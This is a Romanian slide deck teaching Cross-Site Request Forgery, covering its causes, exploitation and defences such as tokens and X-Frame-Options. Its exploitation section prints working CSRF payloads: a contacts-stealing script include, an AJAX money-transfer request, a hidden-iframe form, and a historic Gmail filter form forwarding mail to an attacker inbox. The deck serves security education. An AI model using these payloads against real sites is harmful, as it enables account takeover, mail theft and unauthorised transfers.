Cross-Site Request Forgery


Alexandru Coman
www.alexcoman.com

Cuvânt înainte


Deși această vulnerabilitate poate cauza neplăceri clienților și poate aduce daune imaginii unui serviciu, foarte mulți dezvoltatori nu iau în calcul acest pericol.



Acesta este motivul pentru care această prezentare a luat naștere.

Cuprins

I. Generalități
aspecte generale

II. Factorii ce favorizează apariția acestei vulnerabilități
atât pentru utilizator cât și pentru dezvoltator

III. Metode de exploatare
exemple de atacuri de tip CSRF

IV. Metode de protecție
atât pentru utilizator cât și pentru dezvoltator

V. Concluzii

I. Generalități



Evoluția în Top 10 vulnerabilități Web
conform Open Web Application Security Project


I. Generalități


Interacțiunea cu o aplicație web, accesul la resurse


  • în cadrul unei aplicații de obicei există resurse publice și resurse cu acces restricționat
  • pentru a accesa o resursă avem nevoie să ne identificăm
  • datele noastre și nivelul de acces sunt stocate pentru un interval de timp, folosind prăjiturelele (cookies) sau sesiunile
  • aceste date sunt folosite la fiecare interacțiune 

I. Generalități


Câteva lucruri despre prăjiturele și sesiuni
  • sunt stocate la client
  • pot fi modificate de către client
  • sunt folosite pentru a stoca informații despre clienți
  • sunt interconectate
  • sunt folosite la fiecare interacțiune dintre client și server

Prăjiturele

Sesiuni

  • sunt stocate pe server
  • nu pot fi modificate de către client

II. Factori ce favorizează CSRF


II.1 Atacurile de tip CSRF sunt posibile deoarece:

  • dezvoltatorul nu verifică provenienţa request-ului
    • nu există un mecanism care să ateste că utilizatorul a efectuat această acțiune
  • proveniența request-ului este verificată incorect
    • exemplu: se verifică doar referer-ul
  • probleme arhitecturale
    • exemplu: acțiunile sunt expuse în link

II. Factori ce favorizează CSRF



II.2 Putem fi victima unui atac de tip CSRF dacă:

  • accesăm link-uri din surse nesigure
  • folosim un singur browser
    • atât pentru interacțiunea cu date sensibile cât și pentru interacțiunea cu date din surse nesigure
  • păstrăm informații confidențiale în browser

III. Metode de exploatare



Pentru a exploata o vulnerabilitate de tip CSRF atacatorul va injecta în cadrul unei aplicații terțe un fragment de cod ce va face un request spre o aplicație validă în vederea efectuarii unei acțiuni în numele victimei.


În momentul în care victima va accesa site-ul malițios browserul va face un request valid către aplicația țintă.

III. Metode de exploatare

III. 4 Resursă externă
<script src="http://docs.google.com/data/contacts?out=js&show=ALL&psort=Affinity&callback=google&max=99999"></script>
 google ({
    Success: true, Errors: [],
    Body: {
        AuthToken: {
            Value: '********'
        },
    Contacts: [
        {
            Id: '***',
            Email: 'email at site.afc',
            Affinity: ***,
            Groups: [
                {
                    id: '^Freq',
                    value: 'users at dwr.dev.java.net'
                }
            ],
            Addressess: [], Phoness: [], Imss: []
        },
]}})
Un exemplu făcut public în 2007 de către Jeremiah Grossman prin intermediul căruia se pot fura contactele. 

III. Metode de exploatare

III. 3 Request AJAX
function CSRF(){
if (window.XMLHttpRequest){
    // Pentru IE7+, Firefox, Chrome, Opera, Safari
    request=new XMLHttpRequest();
}else{
    // Pentru for IE6, IE5
    request=new ActiveXObject("Microsoft.XMLHTTP");
}
request.onreadystatechange=function(){
    if (request.readyState==4 ) {
        response = request.responseText;        alert("Din păcate ați fost victima unui atac CSRF !");}    }
    request.open("POST","blog-vulnerabil.afc",true);
    request.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");    request.send("sumă=100&moneda=RON&destinatar=afc");}
Un exemplu sugestiv de atac ce se bazează pe request-uri AJAX se poate găsi aici.

Metode de exploatare

III. 3 Request AJAX


  • este cea mai rapidă și elegantă manieră de a trimite date către aplicația țintă
  • facilitează interacțiunea cu aplicația și parcurgerea unor pași de verificare
  • a dat naștere la o nouă categorie de CSRF și anume ”Dynamic Cross Site Request Forgery”

III. Metode de exploatare

III. 2 Frame ascuns
Atacatorul ascunde în pagina sa un iframe către site-ul țintă pe care îl populează cu datele dorite de el. Informațiile din formular pot fi trimise atunci când utilizatorul efectuează o acțiune (în exemplul de mai jos, să dea click pe ”Mai multe detalii…”) sau pur și simplu în momentul în care accesează pagina.
<iframe id="csrf-iframe" style="display:none"></iframe>
<a href="javascript:csrf();">Mai multe detalii..</a>
function csrf() {
    $('#csrf-iframe').contents().find('#pay-form').submit();

}

III. Metode de exploatare

III. 1 Formular ascuns
Un exemplu făcut public în 2007 ce permite modifcarea filtrelor din Gmail și redirectarea mail-urilor către atacator. Mai multe detalii aici.
 <script>document.frame[0].submit();</script>
<form method="POST" action="https://mail.google.com/mail/h/ewt1jmuj4ddv/?v=prf" enctype="multipart/form-data"> 	<input type="hidden" name="cf2_emc" value="true"/> 
	<input type="hidden" name="cf2_email" value="evilinbox@mailinator.com"/> 
	<input type="hidden" name="cf1_from" value=""/> 
	<input type="hidden" name="cf1_to" value=""/> 
	<input type="hidden" name="cf1_subj" value=""/> 
	<input type="hidden" name="cf1_has" value=""/> 
	<input type="hidden" name="cf1_hasnot" value=""/> 
	<input type="hidden" name="cf1_attach" value="true"/> 
	<input type="hidden" name="tfi" value=""/> 
	<input type="hidden" name="s" value="z"/> 
	<input type="hidden" name="irf" value="on"/> 
	<input type="hidden" name="nvp_bu_cftb" value="Create Filter"/> 
</form>

IV. Metode de protecție

IV. 1 Pentru utilizator

În cadrul atacurilor ce exploatează vulnerabilitatea CSRF utilizatorul are cele mai multe de pierdut. Pentru a evita pierderea de informații confidențiale este recomandată:


  • Navigarea responsabilă
  • Folosirea unor extensii ce aduc un plus de securitate

IV. Metode de protecție

IV 1.2 Folosirea unor extensii


  •  NoScript - http://noscript.net/
    • restricționează execuția scripturilor nedorite
  • HTTPS Everywhere - https://www.eff.org/https-everywhere
    • se asigură că datele dumneavoastră nu sunt transmise pe un canal nesecurizat (acolo unde este disponibil)

IV. Metode de protecție

IV. 1.1 Navigarea responsabilă

  • folosirea mai multor browsere pentru diverse activități:
    • pentru navigarea de zi cu zi puteți folosi un browser cu care sunteți familiarizat și vă place
    • pentru interacțiunea cu informații sensibile (plăți online, etc) puteți folosi un alt browser (de exemplu un browser minimalist care să vă ofere un plus de securitate)

  • de fiecare dată când ați terminat interacțiunea cu un cont ce conține informații sensibile este de preferat să vă deconectați

  • nu păstrați tab-uri cu aplicații ce conțin informații sensibile și tab-uri cu aplicații necunoscute sau ce provin din surse nesigure

IV. Metode de protecție

IV. 2 Pentru dezvoltator

Dezvoltatorul este singura persoană care poate preveni un atac de tip CSRF, dacă are grijă de următoarele aspecte:


  • toate acțiunile ce provin dintr-o altă sursă decât cele acceptate au potențial malițios
  • toate requesturile ce sunt procesate trebuie să fie valide (nealterate)

IV. Metode de protecție

IV 1.2 Sugestii pentru securizarea aplicațiilor împotriva CSRF


  • pentru acțiunile ce modifică permanent informații sensibile este recomandată cererea confirmării

  • adăugarea unui token (element aleatoriu ce garantează că request-ul provine de la un client legitim)

  • în cazul în care nu este necesară comunicarea între domenii se recomandă folosirea header-ului:
    • X-Frame-Options: SAMEORIGIN

IV. Metode de protecție

IV. 2.1 Sugestii pentru securizarea aplicațiilor împotriva CSRF

  • în comunicarea între client și aplicație este de preferat să se evite request-urile de tip GET pentru sugerarea acțiunii
  • verificarea header-ului ”Referer”
    • este posibil să lipsească și nu trebuie să fie singura metodă de validarea a sursei din care provine request-ul
    • atenție acest header poate fi ușor modificat de către atacator
  • micșorarea validatății sesiunilor

V. Concluzii



Cross Site Request Forgery reprezintă vulnerabilitatea ce îi permite unui atacator să folosească drepturile de acces ale unei victime și să efectueze acțiuni în numele acesteia prin intermediul unei alte aplicații ce conține cod malițios.


Deși această vulnerabilitate poate cauza neplăceri clienților și poate aduce daune imaginii unui serviciu, foarte mulți dezvoltatori nu iau în calcul acest pericol.

Resurse


[1] Cross Site Request Forgery
https://en.wikipedia.org/wiki/Cross-site_request_forgery

[2] Cross Site Request Forgery (CSRF)
https://www.owasp.org/index.php/Cross-Site_Request_Forgery_(CSRF)

[3] AJAX security, Same Origin Policy and CSRF
http://was.defeo.lu/AJAX%20security,%20Same%20Origin%20Policy%20and%20CSRF

[4] CSRF - Cross-Site Request Forgery
http://blog.alexcoman.com/csrf-cross-site-request-forgery/

Întrebări ?


Made with Slides.com